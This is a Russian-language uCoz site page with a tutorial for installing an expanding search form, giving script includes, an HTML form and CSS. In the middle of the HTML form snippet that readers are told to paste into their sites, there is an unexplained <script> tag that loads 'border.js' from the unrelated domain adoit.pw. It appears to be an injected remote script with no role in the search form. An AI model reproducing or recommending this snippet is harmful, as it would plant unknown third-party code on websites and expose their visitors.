Меню сайта
 Основное меню  Soft католог  Фильмы Онлайн  Католог статей  Фотогалерея  ФОРУМ
Мини-чат
300
Новое на форуме
1 : Тёмный вид материалов каталога файлов, новостей,статей, новый diz-c
2 : Горизонтальное меню для ucoz
3 : Оповещение о входе и выходе пользователей для uCoz
4 : Кул меню
5 : Заказать Видео!
6 : статистика CW
7 : Новый информер комментарии для ucoz как на Dle
8 : Flash радио для сайта
9 : Голубая кнопка вверх для Ucoz
10 : Новый Топ пользователей с аватарами для Ucoz
Баннерообмен


Киноновинки-онлайн, Бесплатный SOFT, Флеш-игры онлайн, Новости из мира интернет-технологий, Скрипты uCoz, Статьи ВК и тп. Всё тут!

Кинотеатр онлайн Luchok.com 


  • Хостинг Изображений
  • Хостинг Файлов
  • Наш опрос
    Вы сидите в Соц.сетях?
    Всего ответов: 94
    Статистика
    Счетчик посещений сайта

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Зарег. на сайте
    Всего: 535
    Новых за месяц: 0
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0
    Из них
    Администраторов: 1
    Модераторов: 4
    Проверенных: 1
    Обычных юзеров: 462
    Из них
    Парней: 479
    Девушек: 56

    Нас сегодня посетили:

    Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
    13:50
    Создаём раздвижную форму поиска для uCoz
    Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

    Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

    И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

    Код
    <script src="http://pnghosts.ru/js_css/classie.js"></script>
    <script src="http://pnghosts.ru/js_css/uisearch.js"></script>
    <script>
      new UISearch( document.getElementById( 'sb-search' ) );
    </script>


    Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

    Код
    <!-- Поиск по сайту -->  
      <div id="sb-search" class="sb-search">
      <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
      <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
      <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
      </form>  
      </div>  
      <!-- /Поиск по сайту -->


    Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

    Код
    /* Раздвижная форма поиска для uCoz
    ------------------------------------------*/
    .sb-search {
      position: relative;
      margin-top: 10px;
      width: 0%;
      min-width: 32px;
      height: 32px;
      float: right;
      overflow: hidden;
       
      -webkit-transition: width 0.3s;
      -moz-transition: width 0.3s;
      transition: width 0.3s;
      -webkit-backface-visibility: hidden;
    }

    .sb-search-input {
      position: absolute;
      top: 0;
      right: 0;
       
      margin: 0;
      z-index: 10;
      width:300px;
      height: 20px;
      outline: none;
      background: #fff;  
      border: 1px solid #CAD3DA;  
      padding: 5px 32px 5px 20px;
       
      font:11px Verdana,Arial,Helvetica, sans-serif;
      color:#555;  
      border-radius:3px 0px 0px 3px;  
    }

    .sb-search-input::-webkit-input-placeholder {
      color: #efb480;
    }

    .sb-search-input:-moz-placeholder {
      color: #efb480;
    }

    .sb-search-input::-moz-placeholder {
      color: #efb480;
    }

    .sb-search-input:-ms-input-placeholder {
      color: #efb480;
    }

    .sb-icon-search,
    .sb-search-submit {
      position: absolute;
      right: 0;
      top: 0;
      margin: 0;
       
      width: 32px;
      height: 32px;
      display: block;

      line-height: 30px;
      text-align: center;
      cursor: pointer;
    }

    .sb-search-submit {
      background: #fff;
      color: transparent;
      border: none;
      outline: none;
      z-index: -1;
      -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
      filter: alpha(opacity=0);  
      opacity: 0;  
    }

    .sb-icon-search {
      border:none;  
      z-index: 90;
      background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
      -webkit-font-smoothing: antialiased;
      border-radius:3px 3px 3px 3px;  
    }

    .sb-icon-search:before {
      content: "\e000";
    }

    .sb-search.sb-search-open,
    .no-js .sb-search {
      width: 100%;
    }

    .sb-search.sb-search-open .sb-icon-search,
    .no-js .sb-search .sb-icon-search {
      background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
      z-index: 11;
      border-radius:0px 3px 3px 0px;  
    }

    .sb-search.sb-search-open .sb-search-submit,
    .no-js .sb-search .sb-search-submit {
      z-index: 90;
    }


    На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

    Спасибо за внимание!
    Просмотров: 389 | Добавил: DoG | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Форма входа
    Советуем к просмотру
    Паронормальное явление-2
    [Ужасы, Мистика]
    Камень [2012]
    [Боевики, Триллер, драки]
    Невероятные приключения янки в Африке
    [Комедии, Экшн]
    Гадкий Я
    [Мультфильмы,Мультсериалы, Анимэ]
    Зубная фея 2/ Tooth Fairy 2
    [Фильмы, Семейные]
    Герой / Hero (2002)
    [Боевики, Триллер, драки]
    Баскетбол в стиле Кунг-Фу (2008)
    [Комедии, Экшн]
    Кот в сапогах: Три Чертенка
    [Мультфильмы,Мультсериалы, Анимэ]
    Шелуха / Husk (2011)
    [Ужасы, Мистика]
    Царь скорпионов: Книга мертвых
    [Фантастика, Приключения]
    Патруль времени (2010)
    [Фантастика, Приключения]
    Россия от края до края
    [Документальные, Наука]
    Кот в сапогах
    [Мультфильмы,Мультсериалы, Анимэ]
    Ночной Базар
    [Гоблинские переводы]
    Механик/The Mechanic (2011)
    [Боевики, Триллер, драки]
    КВН-Видео приколы
    [Видео, Приколы]
    Большая разница - Айфоня
    [Видео, Приколы]
    Девять / 9 (2010)
    [Мультфильмы,Мультсериалы, Анимэ]
    Форсаж 4
    [Боевики, Триллер, драки]
    Большой выстрел (2011)
    [Боевики, Триллер, драки]
    Большая разница - Хрень
    [Видео, Приколы]
    Погоня / Abduction (2011)
    [Боевики, Триллер, драки]
    Агент Джонни Инглиш: Перезагрузка
    [Комедии, Экшн]
    Бунт ушастых / Hop (2011)
    [Мультфильмы,Мультсериалы, Анимэ]
    Щелкунчик и крысиный король
    [Фильмы, Семейные]
    Значит, Война
    [Комедии, Экшн]
    Солдатики / Small Soldiers (1998)
    [Фантастика, Приключения]
    Путь воина (Scr, 2010г)
    [Фантастика, Приключения]
    Соседка / The Girl Next Door (2004)
    [Комедии, Экшн]
    Тёмный мир в 3D
    [Ужасы, Мистика]
    Законопослушный гражданин / Law Abiding Citizen (2009)
    [Боевики, Триллер, драки]
    Медведь Йоги(Yogi Bear) [2010]
    [Мультфильмы,Мультсериалы, Анимэ]
    Выкрутасы (2011)
    [Комедии, Экшн]
    Чело-пук (Человек паук)
    [Гоблинские переводы]
    Гарри Поттер и Дары смерти: Часть II / Harry Potter and the Deathly Hallows: Part 2
    [Фантастика, Приключения]
    Зеленый Фонарь
    [Фантастика, Приключения]
    Город воров / The Town (2010)
    [Боевики, Триллер, драки]
    Край (2010) DVDRip
    [Фантастика, Приключения]
    Другой мир 4: Пробуждение
    [Фантастика, Приключения]
    Рио / Rio (2011)
    [Мультфильмы,Мультсериалы, Анимэ]
    Большая разница - Малахов в ресторане
    [Видео, Приколы]
    КВН трейлер к фильму "Добро Пожаловать или Посторонним вход воспрещён
    [Видео, Приколы]
    Большие мамочки: Сын как отец
    [Комедии, Экшн]
    Тачки 2 / Cars 2
    [Мультфильмы,Мультсериалы, Анимэ]
    Я - Четвертый
    [Фантастика, Приключения]
    Команда А
    [Фантастика, Приключения]
    Шрэк Навсегда, Шрэк 4, Shrek forever
    [Мультфильмы,Мультсериалы, Анимэ]
    Терминатор: Да придёт спаситель / Terminator Salvation
    [Фантастика, Приключения]
    Король говорит! / The King Speech (2010)
    [Драмма, Исторические]
    РАМШАРИКИ
    [Видео, Приколы]
    Необходимый Софт

    Для красивого отображения этого блока требуется Flash Player 9 или выше.

    Свежие новости
    Самые свежие Новости

    Яндекс цитирования
    Поиск


    Яндекс.Метрика
    Copyright © 2010-2024г